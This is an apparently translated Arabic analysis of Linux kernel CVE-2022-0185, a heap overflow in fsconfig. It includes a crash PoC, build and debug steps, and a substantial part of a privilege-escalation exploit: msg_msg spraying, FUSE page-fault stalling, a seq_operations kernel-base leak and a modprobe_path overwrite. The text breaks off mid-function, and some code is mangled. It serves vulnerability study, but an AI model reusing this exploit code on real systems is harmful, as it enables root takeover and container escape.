
CVE-2022-0185 POC و Docker وتقرير التحليل
[toc]
رقم الثغرة: CVE-2022-0185
تقييم الثغرة:
المنتج المتأثر: linux kernel - fsconfig syscall
النطاق المتأثر: linux kernel 5.1-rc1 ~ 5.16.2
شروط الاستغلال: محلي على Linux; يتطلب صلاحية CAP_SYS_ADMIN (يمكن الحصول عليها مباشرة عن طريق unshare، أي بدون قيود)
تأثير الاستغلال: تصعيد الامتيازات المحلي; الهروب من الحاوية
الحصول على المصدر: git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.11-5.11.0-27.29_20.04.1 --depth 1
أو https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/
بيئة Docker لترجمة نواة 5.X: chenaotian/kernelcompile
Docker لتحليل الثغرة: chenaotian/cve-2022-0185
/root/cve-2022-0185boot_exp.sh لتشغيل exp والتحقق من بيئة التصحيح، نواة غير موقعة 5.11.0-44boot_poc.sh لتشغيل poc والتحقق من البيئة، يمكن أن يتسبب في تعطل النواة لكن لا يمكن تشغيل exp، نواة موقعة مترجمة ذاتيًا 5.13exp، كود مصدر exp (المؤلف: BitsByWill)، قم بترجمة exploit_fuse مباشرة.بيئة qemu: https://github.com/chenaotian/CVE-2022-0185/tree/main/qemuANDexp
بيئة تشغيل exp على جهاز افتراضي Ubuntu 20.04 لتشغيل exp الأصلي
قم بإعداد جهاز افتراضي Ubuntu 20.04، ثم استبدل النواة:```shell apt-get install linux-image-5.11.0-44-generic
grep menuentry /boot/grub/grub.cfg vim /etc/default/grub #修改 GRUB_DEFAULT 选项为上面结果中想要启动内核的下标 update-grub #如果不生效的话则直接进入/boot 目录将之前的内核相关文件(带之前内核编号的文件)全部删掉,然后启动时候报找不到内核,然后手动选择内核启动也可以
#编译exp make fuse ./exploit
تأثير رفع الامتيازات

## مبدأ الثغرة
الاستدعاء النظامي الذي تحدث فيه الثغرة هو خيار العملية `FSCONFIG_SET_STRING` في `fsconfig`، ويُستخدم هذا الاستدعاء النظامي لتهيئة سياق نظام الملفات المفتوح مسبقًا، **يتطلب الشرط المسبق امتلاك صلاحية `CAP_SYS_ADMIN`**:
> الغرض الرئيسي من `fsopen` هو إنشاء سياق لنظام الملفات، ثم ربطه بوصف ملف وإرجاع واصف الملف. بعد `fsopen` يأتي `fsconfig`، ومن المعنى الحرفي يمكن التخمين أننا قمنا أعلاه بإنشاء سياق نظام ملفات عبر `fsopen`، وقد يكون `fsconfig` يُستخدم لتهيئة المحتويات داخل سياق نظام الملفات. في الواقع، يقوم `fsconfig` بشكل أساسي بهذه المهمة التهيئية، بالإضافة إلى سياق نظام الملفات، فهو يدعم أيضًا أعمالًا أخرى.
### موقع حدوث الثغرة
أولاً، تظهر الثغرة في دالة `legacy_parse_param`:
linux-5.11\fs\fs_context.c : 502 : legacy_parse_param```c
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size;
size_t len = 0;
··· ···
··· ···
switch (param->type) {
case fs_value_is_string:
len = 1 + param->size;
fallthrough;
··· ···
}
if (len > PAGE_SIZE - 2 - size) //此处边界检查有问题
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次时会分配一页大小
if (!ctx->legacy_data)
return -ENOMEM;
}
ctx->legacy_data[size++] = ',';
len = strlen(param->key);
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
memcpy(ctx->legacy_data + size, param->string, param->size); //拷贝,可能越界
size += param->size;
}
ctx->legacy_data[size] = '\0';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}
المفتاح هنا هو عملية memcpy اللاحقة، التي ستنسخ param->string الذي نمرره إلى ctx->legacy_data. وأما شرط التحقق من تجاوز حدود النسخ فهو في الفحص السابق (len > PAGE_SIZE - 2 - size). هذا الفحص به مشكلة؛ نوع الفحص هو size_t أي unsigned int. إذا كان size > PAGE_SIZE - 2 فسيحدث انعكاس تجاوز عدد صحيح، مما يتسبب في len < PAGE_SIZE - 2 - size، وبالتالي ينجح الفحص. وعند النسخ لاحقًا، يكون size أكبر من PAGE_SIZE - 2، مما يؤدي إلى تجاوز حدود النسخ.
بعض هياكل البيانات المستخدمة:```c struct fs_context { const struct fs_context_operations ops; struct mutex uapi_mutex; / Userspace access mutex */ struct file_system_type *fs_type; void fs_private; / The filesystem's context */ void *sget_key; struct dentry root; / The root and superblock */ struct user_namespace user_ns; / The user namespace for this mount */ struct net net_ns; / The network namespace for this mount */ const struct cred cred; / The mounter's credentials / struct p_log log; / Logging buffer */ const char source; / The source name (eg. dev path) */ void security; / Linux S&M options / void s_fs_info; / Proposed s_fs_info / unsigned int sb_flags; / Proposed superblock flags (SB_) / unsigned int sb_flags_mask; / Superblock flags that were changed / unsigned int s_iflags; / OR'd with sb->s_iflags / unsigned int lsm_flags; / Information flags from the fs to the LSM / enum fs_context_purpose purpose:8; enum fs_context_phase phase:8; / The phase the context is in / bool need_free:1; / Need to call ops->free() / bool global:1; / Goes into &init_user_ns / bool oldapi:1; / Coming from mount(2) */ };
struct legacy_fs_context { char legacy_data; / Data page for legacy filesystems */ size_t data_size; enum legacy_fs_param param_type; };
struct fs_parameter { const char key; / Parameter name / enum fs_value_type type:8; / The type of value here */ union { char *string; void *blob; struct filename *name; struct file *file; }; size_t size; int dirfd; };
### مسار الاستدعاء
فيما يلي تحليل مكدس استدعاء الدوال، أولاً، نقطة الدخول هي بالتأكيد استدعاء النظام `fsconfig`:
linux-5.11\fs\fsopen.c : 314 : SYSCALL_DEFINE5(fsconfig,...```c
SYSCALL_DEFINE5(fsconfig,
int, fd,
unsigned int, cmd,
const char __user *, _key,
const void __user *, _value,
int, aux)
{
struct fs_context *fc;
struct fd f;
int ret;
int lookup_flags = 0;
struct fs_parameter param = {
.type = fs_value_is_undefined,
};
··· ···
f = fdget(fd);
if (!f.file)
return -EBADF;
ret = -EINVAL;
if (f.file->f_op != &fscontext_fops)
goto out_f;
fc = f.file->private_data; //设置fc
··· ···
switch (cmd) {
··· ···
case FSCONFIG_SET_STRING:
param.type = fs_value_is_string;
//初始化结构体中的联合体中的string成员为用户传入的字符串
param.string = strndup_user(_value, 256);
if (IS_ERR(param.string)) {
ret = PTR_ERR(param.string);
goto out_key;
}
param.size = strlen(param.string);//设置size
break;
··· ···
··· ···
}
ret = mutex_lock_interruptible(&fc->uapi_mutex);
if (ret == 0) {
ret = vfs_fsconfig_locked(fc, cmd, ¶m);
mutex_unlock(&fc->uapi_mutex);
}
··· ···
··· ···
}
في مدخل استدعاء النظام fsconfig، يتم أولاً تهيئة هيكل السياق لنظام الملفات fc استنادًا إلى واصف الملف fd، ثم يتم تعيين هيكل param وفقًا للمعاملات التي يمررها المستخدم. متغير الهيكل هذا هو param المستخدم لاحقًا في دالة حدوث الثغرة legacy_parse_param. بعد ذلك، يتم الدخول إلى دالة vfs_fsconfig_locked:
linux-5.11\fs\fsopen.c : 216 : vfs_fsconfig_locked```c static int vfs_fsconfig_locked(struct fs_context *fc, int cmd, struct fs_parameter *param) { struct super_block *sb; int ret;
ret = finish_clean_context(fc);
if (ret)
return ret;
switch (cmd) {
··· ···
default:
if (fc->phase != FS_CONTEXT_CREATE_PARAMS &&
fc->phase != FS_CONTEXT_RECONF_PARAMS)
return -EBUSY;
return vfs_parse_fs_param(fc, param);
}
fc->phase = FS_CONTEXT_FAILED;
return ret;
}
أولاً، يتم استدعاء الدالة `finish_clean_context`، حيث يتم استدعاء الدالة `legacy_init_fs_context` لتسجيل جدول دوال الاستدعاء، والذي يتضمن الدالة `legacy_parse_param` التي يوجد بها الثغرة.
linux-5.11\fs\fs_context.c ```c
int finish_clean_context(struct fs_context *fc)
{
··· ···
error = legacy_init_fs_context(fc);
··· ···
}
static int legacy_init_fs_context(struct fs_context *fc)
{
fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
if (!fc->fs_private)
return -ENOMEM;
fc->ops = &legacy_fs_context_ops; //注册回调函数表
return 0;
}
const struct fs_context_operations legacy_fs_context_ops = {
.free = legacy_fs_context_free,
.dup = legacy_fs_context_dup,
.parse_param = legacy_parse_param, //漏洞函数
.parse_monolithic = legacy_parse_monolithic,
.get_tree = legacy_get_tree,
.reconfigure = legacy_reconfigure,
};
بعد اكتمال التسجيل، يتم الدخول إلى وظيفة vfs_parse_fs_param لمعالجة المعاملات، حيث يتم استدعاء وظيفة الاستدعاء المسجلة حديثًا، وهي الوظيفة الثغرة.
linux-5.11\fs\fs_context.c : 98 : vfs_parse_fs_param```c int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param) { ··· ···
if (fc->ops->parse_param) {
ret = fc->ops->parse_param(fc, param); //漏洞所在函数
if (ret != -ENOPARAM)
return ret;
}
··· ···
··· ···
} EXPORT_SYMBOL(vfs_parse_fs_param);
النظرة العامة كالتالي
- SYSCALL_DEFINE5(fsconfig,... : مدخل استدعاء النظام
- vfs_fsconfig_locked
- finish_clean_context
- legacy_init_fs_context : تسجيل جدول وظائف الاستدعاء
- vfs_parse_fs_param
- legacy_parse_param : الثغرة
## POC لاستغلال الثغرة
POC لاستغلال الثغرة:```c
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
int main(void)
{
char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int fd = 0;
fd = fsopen("ext4", 0);
if (fd < 0) {
puts("Opening");
exit(-1);
}
for (int i = 0; i < 5000; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
}
return 0;
}
بعد التجميع الثابت، يتم حزمه في نظام الملفات واستخدام qemu لتشغيل النواة.```shell cd ~/cve-2022-0185 gcc poc.c --static cp a.out rootfs/a.out cd rootfs find . | cpio -o --format=newc > ../rootfs.img cd ../ ./boot_poc.sh
في محطة طرفية أخرى، استخدم gdb للتصحيح عن بُعد:```shell
cd ~
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b legacy_parse_param
c
عند الاستدعاء الأول:
legacy_data لم تتم تهيئته بعد:
سيتم استدعاء kmalloc لتهيئته لاحقًا، ثم سيتم نسخ سلسلة الإدخال إلى legacy_data. عند عودة الدالة، تكون قد تم نسخ السلسلة الأولى، وسيتم إضافة ',=' في البداية، بطول 0x69.
نظرًا لأننا نقوم باستدعاء fsconfig عدة مرات لنسخ السلسلة. في كل مرة نمرر 0x67 حرفًا 'A'، وتقوم دالة legacy_parse_param بإضافة ',=' في البداية، لذا يكون طول كل نسخة 0x69. بعد 39 نسخة، سيصل طول legacy_data إلى 0xfff. بعد 39 نسخة، توقف للفحص:
نجد أن data_size الخاص بـ legacy_data قد وصل بالفعل إلى 0xfff
مساحة الذاكرة 0x1000 التي طلبها kmalloc على وشك الوصول إلى الحد الأقصى. نفحص مكان حدوث الثغرة:
0x68 أصغر من 0xffff.... المعكوس، تم اجتياز التحقق، بعد النسخ يحدث تجاوز للحدود مباشرة، ويتم الكتابة فوق محتويات الذاكرة التالية:
ثم يستمر التشغيل وتتعطل النواة:
وفقًا لـ wp لمؤلف exp: CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google's KCTF Containers. قام بتطبيق طريقتين للاستغلال، رفع الامتيازات على Ubuntu 20.04 بإصدار نواة 5.11.0-44، والاستغلال الذي حصل على جائزة في KCTF من Google. هنا نحلل بشكل أساسي الاستغلال على Ubuntu 20.04 بإصدار نواة 5.11.0-44.
قام مؤلف exp باستخدام هذه الطريقة في تحديين من مسابقات ctf. corCTF 2021: fire_of_salvation و wall_of_perdition. من خلال تجاوز السعة أو عملية UAF لإعادة كتابة هيكل رأس الرسالة msg_msg لإجراء قراءة وكتابة في أي عنوان. لن نقوم بتحليل هذه الطريقة بالتفصيل، سنحلل فقط الجزء المستخدم في التحدي.
msgsnd و msgrcv هما دالتان توفرهما النواة لإرسال واستقبال الرسائل للتواصل بين العمليات. المنطق العام هو إرسال الرسالة إلى النواة، وتحتفظ النواة بقائمة انتظار الرسائل المقابلة، وعند استقبال الرسالة يتم سحبها من قائمة الانتظار.
تعريف مصدر msgsnd، الوظيفة الرئيسية تتم بواسطة do_msgsnd:
linux-hwe-5.11_5.11.0.orig\linux-5.11\ipc\msg.c : 840```c static long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg) { struct msg_queue *msq; struct msg_msg *msg; ··· ··· if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; //检查长度,默认最长8192(可以调试断住看一下) ··· ··· //主要有用的功能在这里 msg = load_msg(mtext, msgsz); //调用load_msg 分配内存并从用户空间将消息拷贝过来。 ··· ··· msg->m_type = mtype; msg->m_ts = msgsz;
··· ···
//后面代码将msg 添加到消息队列。
··· ···
}
long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz, int msgflg) { ··· ··· return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg); }
SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz, int, msgflg) { return ksys_msgsnd(msqid, msgp, msgsz, msgflg); }
`do_msgsnd` الحد الأقصى لطول الرسالة المسموح به هو 8192:

ثم نحتاج إلى تحليل دالة `load_msg` بشكل أساسي، نظرًا لاستخدام دالة `alloc_msg` في دالة `load_msg` لطلب مساحة الذاكرة وتنظيم بنية الرسالة. هنا نقوم أولاً بتحليل دالة `alloc_msg`:
linux-5.11\ipc\msgutil.c : 46 : alloc_msg```c
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
//#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
··· ···
··· ···
while (len > 0) {
struct msg_msgseg *seg;
cond_resched();
//#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
··· ···
}
هنا، يتم تقسيم الرسالة إلى أجزاء حسب طولها. إذا كان طول الرسالة + طول رأس الرسالة أكبر من صفحة واحدة (4 كيلوبايت)، فسيتم تخزينها مجزأة. الجزء الأول هو رأس الرسالة + الجزء الأول من الرسالة، ويحتوي رأس الرسالة على مؤشر يشير إلى الجزء الثاني. الجزء الثاني هو رأس الجزء + الجزء الثاني.... وفقًا لما ذكر سابقًا، أقصى طول للرسالة هو 8192، وبالتالي يمكن تقسيم الرسالة إلى 3 أجزاء على الأكثر. وأقصى طول لكل جزء هو صفحة واحدة (4 كيلوبايت)، ويجب أن يتضمن على الأقل طول رأس الرسالة وهو 0x30، لذلك فإن نطاق حجم تخصيص الكومة الذي يمكننا التحكم فيه هو kmalloc-64~kmalloc-4k. حيث تكون بنية رأس الرسالة وبنية رأس الجزء كما يلي:```c
struct msg_msg {//消息头结构体
struct list_head m_list; //两个指针
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void security;
/ the actual message follows immediately */
};
struct msg_msgseg {
struct msg_msgseg next;
/ the next part of the message follows immediately */
};

لذا فإن بنية الرسالة المشكلة تشبه:
الرسالة موجودة في قائمة انتظار الرسائل، وتدار بواسطة قائمة مرتبطة مزدوجة، والرسالة نفسها تُخزَّن بشكل مجزأ، وترتبط بواسطة قائمة مرتبطة أحادية. الحد الأقصى لطول كل جزء هو صفحة واحدة (4 كيلوبايت). بعد ذلك، نقوم بتحليل الدالة `do_msgsnd`:
linux-5.11\ipc\msgutil.c : 84 : load_msg```c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;
msg = alloc_msg(len); //根据消息长度生成上图那种结构体
if (msg == NULL)
return ERR_PTR(-ENOMEM);
alen = min(len, DATALEN_MSG); //根据分段情况从用户空间分段拷贝,这里拷贝第一段
if (copy_from_user(msg + 1, src, alen))
goto out_err;
for (seg = msg->next; seg != NULL; seg = seg->next) { //按顺序拷贝剩下的部分
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}
··· ···
··· ···
}
الجزء المتبقي يتم نسخه مباشرة من مساحة المستخدم بالتسلسل وفقًا لتقسيم الرسالة.
بعد ذلك، نلقي نظرة على دالة استقبال الرسائل msgrcv. بالمثل، المنطق الرئيسي موجود في دالة do_msgrcv. هنا نذكر تفصيلًا صغيرًا دون تحليل تفصيلي:
linux-5.11\ipc\msg.c : 1090 : do_msgrcv```c
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg, long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
··· ···
if (msgflg & MSG_COPY) {
if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return -EINVAL;
copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
if (IS_ERR(copy)) //搜索要发送的消息之前,准备一个消息备份(申请内存),用来存放消息
return PTR_ERR(copy);
}
··· ···
for (;;) {
··· ···
msg = find_msg(msq, &msgtyp, mode);
if (!IS_ERR(msg)) {
··· ···
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy); //找到之后拷贝到消息备份中
goto out_unlock0;
}
··· ···
}
··· ···
}
··· ···
bufsz = msg_handler(buf, msg, bufsz); //将消息备份发送到用户
free_msg(msg); //释放消息备份
return bufsz;
}
في حالة وجود علامة `MSG_EXCEPT` في `msgflg` (التكوين الافتراضي، خيار الترجمة `CONFIG_CHECKPOINT_RESTORE`)، سيتم استخدام إرسال الرسائل الاحتياطية. المنطق المحدد هو: أولاً، يتم تقديم بنية رسالة كنسخة احتياطية للرسالة، وبعد العثور على الرسالة، يتم نسخها أولاً إلى النسخة الاحتياطية، ثم إرسالها إلى مساحة المستخدم، ثم تحرير النسخة الاحتياطية. **بهذه الطريقة، لن يتم فك ربط الرسالة الأصلية من قائمة الانتظار**، ما نريده هو "عدم فك ربط الرسالة الأصلية من قائمة الانتظار". لأنه في بعض الأحيان، عند حدوث تجاوز في المؤشر ثنائي الاتجاه لرأس الرسالة، سيؤدي فك الربط إلى تعطل البرنامج، وهذا ليس النتيجة المرغوبة.
هذا تقريبًا كل ما يلزم معرفته، وتتضمن تقنيات الاستغلال المستخدمة ما يلي:
- استخدام دالة `msgsnd` يمكنها تنفيذ عملية الرش ضمن نطاق `kmalloc-64` ~ `kmalloc-4k` (تقنية تقليدية)
- إذا تم تجاوز العضو `m_ts` في رأس `msg_msg`، فسيؤدي ذلك إلى تغيير طول الرسالة، مما يؤدي إلى قراءة خارج الحدود (تقنية جديدة)
- إذا تم تجاوز العضو `struct msg_msgseg *next` في رأس `msg_msg` **أثناء عملية load_msg**، فسيؤدي ذلك إلى إمكانية القراءة والكتابة في أي عنوان، وعادةً ما يتطلب ذلك استخدام سباق شرط باستخدام `userfaulted`، لكن أحدث النواة لا تسمح باستدعاء `userfaulted` من وضع المستخدم. هنا نستخدم طريقة جديدة.
#### بديل لـ userfaulted
وفقًا لدالة `load_msg` التي تم تحليلها أعلاه، بعد أن تقوم `alloc_msg` بتخصيص ذاكرة الرسالة، ستقوم بنسخ الرسالة من مساحة المستخدم. إذا كانت الرسالة طويلة ومجزأة، فستحتاج إلى النسخ على أجزاء. إذا حدث خطأ صفحة أثناء نسخ الجزء الأول، مما يعلق عملية النسخ في انتظار اكتمال معالجة الاستثناء، وفي هذه الأثناء يمكن استخدام التجاوز لاستبدال مؤشر `msg_msgseg *next` في `msg_msg`، وعند عودة معالجة الاستثناء واستكمال نسخ الجزء الثاني، سيصبح الكتابة فوق أي عنوان نحدده (كتابة في أي عنوان).
عادةً، يتطلب ذلك تسجيل دالة معالجة خطأ الصفحة في وضع المستخدم، لكن الإصدارات الجديدة لا تسمح باستدعاء نظام `userfaulted` بدون صلاحيات. هنا نقدم طريقة جديدة، وهي نظام الملفات `fuse` في وضع المستخدم. يمكن استخدام `fuse` لتسجيل نظام ملفات في وضع المستخدم، مع دوال `read`، `write` خاصة به، وعند حدوث خطأ صفحة، سيتم العودة إلى وضع المستخدم لمعالجة المقاطعة.
جدير بالذكر أن مكتبة `fuse` نفسها لا تحتوي على مكتبة ترجمة ثابتة. قام BitsByWill و D3v17 بتهيئتها، بإزالة بعض الأشياء مثل dlopen، وصنعوا فقط libfuse3.a يمكن ترجمتها بشكل ثابت. قل: شكرًا لك BitsByWill و D3v17.
[مرجع](https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf)
#### تسريب العناوين
هذا أيضًا من العمليات المعتادة في kernel pwn، حيث يتم استخدام بنية `seq_operations` لتسريب العناوين، والتي تحتوي على دوال مؤشرات:```c
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
عند فتح /proc/self/stat، سيتم استدعاء الدالة single_open لتهيئة بنية seq_operations:```c
int single_open(struct file *file, int (*show)(struct seq_file *, void *),
void *data)
{
struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT);
int res = -ENOMEM;
if (op) {
op->start = single_start;
op->next = single_next;
op->stop = single_stop;
op->show = show;
res = seq_open(file, op);
··· ··· }
قم بتهيئة جميع مؤشرات الدوال في هيكل `single_open` لتصبح دوال نواة، بحيث يتم تسريب أي منها يمكنه تسريب عنوان قاعدة النواة.
#### رفع الامتيازات
أسلوب تقليدي في kernel pwn هو `modprobe_path`، وهي سلسلة داخل النواة تشير إلى مسار، الافتراضي هو /sbin/modprobe```c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
عندما يتم تشغيل ملف لا يمكن التعرف على تنسيقه، يتم تشغيل الملف المشار إليه بواسطة modprobe_path، وهذا يتم تشغيله بواسطة النواة، لذا فهو بصلاحيات root. بشكل عام، إذا كان من الممكن تعديل هذه السلسلة النصية، فإن ذلك يعتبر نجاحًا في رفع الامتيازات.
لم أتمكن من تجميع بيئة تشغيل مناسبة للـ exp (أنا ضعيف جدًا)، لذا قمت بنسخ vmlinuz المثبت عبر apt (الإصدار 5.11.0-44-generic) واستخدمته مباشرة. بعد تشغيل qemu، تمكنت من تصحيحه بالفعل. ربما بسبب أن جزء cap أو fuse لم يتم تكوينه بشكل صحيح، مما أدى إلى وجود بعض المشاكل عند تشغيل الـ exp بمستخدم غير root. لذا أثناء التصحيح في qemu، قمت بتشغيل الـ exp باستخدام مستخدم root، بما أن الـ exp يقوم بتعديل modprobe_path في النواة.
للحصول على الـ exp، قم بزيارة github المؤلف، يمكن تجميعه في بيئة Ubuntu 20، لقد قمت فقط بالتحليل والتصحيح والتحقق.
هيكل الـ exp:
CVE-2022-0185-master\exploit_fuse.c : 258 : main```c int main(int argc, char **argv, char **envp) { ··· ···
if (!fork()) //子进程注册一个fuse 文件系统,用于提供userfaulted
{
fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
}
sleep(1);
spray_4k(30);//堆将现有的free kmalloc消耗掉
uint64_t kbase = 0;
while(!kbase) //泄露kernel 基址部分
{
kbase = do_leak();
}
··· ···
spray_4k(30);//堆将现有的free kmalloc消耗掉
while (1)
{
do_win(); //任意地址写修改modprobe_path完成利用部分
··· ···
}
··· ···
}
exp مقسم بشكل رئيسي إلى جزأين: تسريب المعلومات وكتابة عنوان عشوائي.
#### تسريب عنوان القاعدة للنواة
أعتقد أن جزء التسريب في هذا الاستغلال تم استخدامه بذكاء شديد، حيث يتم أولاً تجاوز السعة لتغطية الأجزاء غير المستخدمة، ثم يتم طلب بنية البيانات التي تحتاج إلى تجاوز السعة لتغطيتها بحيث لا يتم إتلاف الأجزاء غير المقصودة، ثم يستمر تجاوز السعة لتغطية الهدف بدقة.
بشكل أساسي دالة `do_leak`
CVE-2022-0185-master\exploit_fuse.c : 33 : do_leak```c
uint64_t do_leak ()
{
uint64_t kbase = 0;
char pat[0x1000] = {0};
char buffer[0x2000] = {0}, recieved[0x2000] = {0};
int targets[0x10] = {0};
msg *message = (msg *)buffer;
int size = 0x1018;
// spray msg_msg
for (int i = 0; i < 8; i++) //[1]先申请8个独立的消息队列,每个里面存放一条消息
{
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}/*消息大小 0x1018-0x30,实际会分成两段
*第一段 消息头msg_msg 0x30 和消息0xfd 共0x1000 kmalloc-4k
*第二段 消息段头 msg_msgseg 0x8 和消息0x18 共0x20 kmalloc-32*/
memset(pat, 0x42, sizeof(pat));
pat[sizeof(pat)-1] = '\x00';
puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0)
{
puts("fsopen: Remember to unshare");
exit(-1);
}
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++)
{ //[2]溢出准备,多次调用fsconfig 将legacy_data 长度填充到4095准备溢出
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
// overflow, hopefully causes an OOB read on a potential msg_msg object below
puts("[*] Overflowing...");
pat[21] = '\x00';
char evil[] = "\x60\x10";
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
/*[3]溢出部分,输入长度21,由于每次溢出会自动加上",="所以实际23,再加上之前长度4095总共溢出22
*这里正常情况发生溢出溢出的是还没被使用(分配)过的内存*/
// spray more msg_msg
for (int i = 8; i < 0x10; i++)
{//[4]继续msgsnd,申请msg_msg 结构体,大概率申请到将legacy_data后面的地方
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}//msg_msg 头会覆盖刚刚溢出的内容
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
/*[5]继续溢出,legacy_data+size 的指针指向的位置正好在msg_msg结构体的中间,m_ts 位之前
*刚好覆盖m_ts,修改msg 的大小*/
puts("[*] Done heap overflow");
puts("[*] Spraying kmalloc-32");
for (int i = 0; i < 100; i++)
{//[6]上面提到过的泄露地址用结构体,多次打开stat,喷射多个0x20的seq_operations结构体
open("/proc/self/stat", O_RDONLY);
}//大概率会喷射到消息第二段0x20(kmalloc-32) 的后面
size = 0x1060;//接受消息的长度
puts("[*] Attempting to recieve corrupted size and leak data");
// go through all targets qids and check if we hopefully get a leak
for (int j = 0; j < 0x10; j++)
{//[7]接受消息,某一个消息的长度被改大,则会越界读到后面的seq_operations结构体
get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
kbase = do_check_leak(recieved);//泄露成功
if (kbase)
{
close(fd);
return kbase;
}
}
puts("[X] No leaks, trying again");
return 0;
}
هنا، قبل وبعد عملية الفائض، سيتم تخطيط جزء من كومة kmalloc باستخدام msgsnd، وطول الرسالة المحدد هو 0x1018-0x30 = 0xfe8. وفقًا لبنية الرسالة، سيتم تقسيمها إلى جزئين: 0xfd و 0x18:
msg_msg 0x30 والرسالة 0xfd معًا 0x1000 ينتمي إلى kmalloc-4kmsg_msgseg 0x8 والرسالة 0x18 معًا 0x20 ينتمي إلى kmalloc-32التحضير للفائض، استخدام fsconfig لملء طول legacy_data (الطول المطلوب 4096 ينتمي إلى kmalloc-4k) إلى 4095، هنا يتم استخدام 33 حرف 'A'، ولكن في الواقع كل مرة تتم إضافة حرفين ",="، لذا في الواقع كل مرة يتم ملء 35 حرفًا، وبعد 117 مرة يصبح المجموع 4095.
عنوان بداية الصفحة ونهايتها:

ثم يتم ملء 21 حرفًا أخرى، بالإضافة إلى ",=" يصبح المجموع 23 حرفًا، هنا يحدث الفائض. نظرًا لأن الملء السابق وصل إلى 4095، فإن الفائض الفعلي هو 22 حرفًا، أي 0x16،
تغيرات ذاكرة الكومة من الخطوة 2 إلى الخطوة 6 كما هو موضح في الشكل، السهم الأحمر هو الموقع الذي سيشير إليه المؤشر legacy_data + size في fsconfig:

هذا الجزء بسيط نسبيًا، كما ذكرنا سابقًا، جعل copy_from_user في msgsnd يحدث خطأ في الصفحة (page fault)، ثم يتم التعامل مع الخطأ في وظيفة المعالجة لنظام الملفات المستخدم fuse الذي سجلناه، وخلال ذلك يتم استخدام fsconfig للفائض لتغطية الجزء الثاني من الرسالة.```c
void do_win()
{
int size = 0x1000;
char buffer[0x2000] = {0};
char pat[0x1000] = {0};
msg* message = (msg*)buffer;
memset(buffer, 0x44, sizeof(buffer));
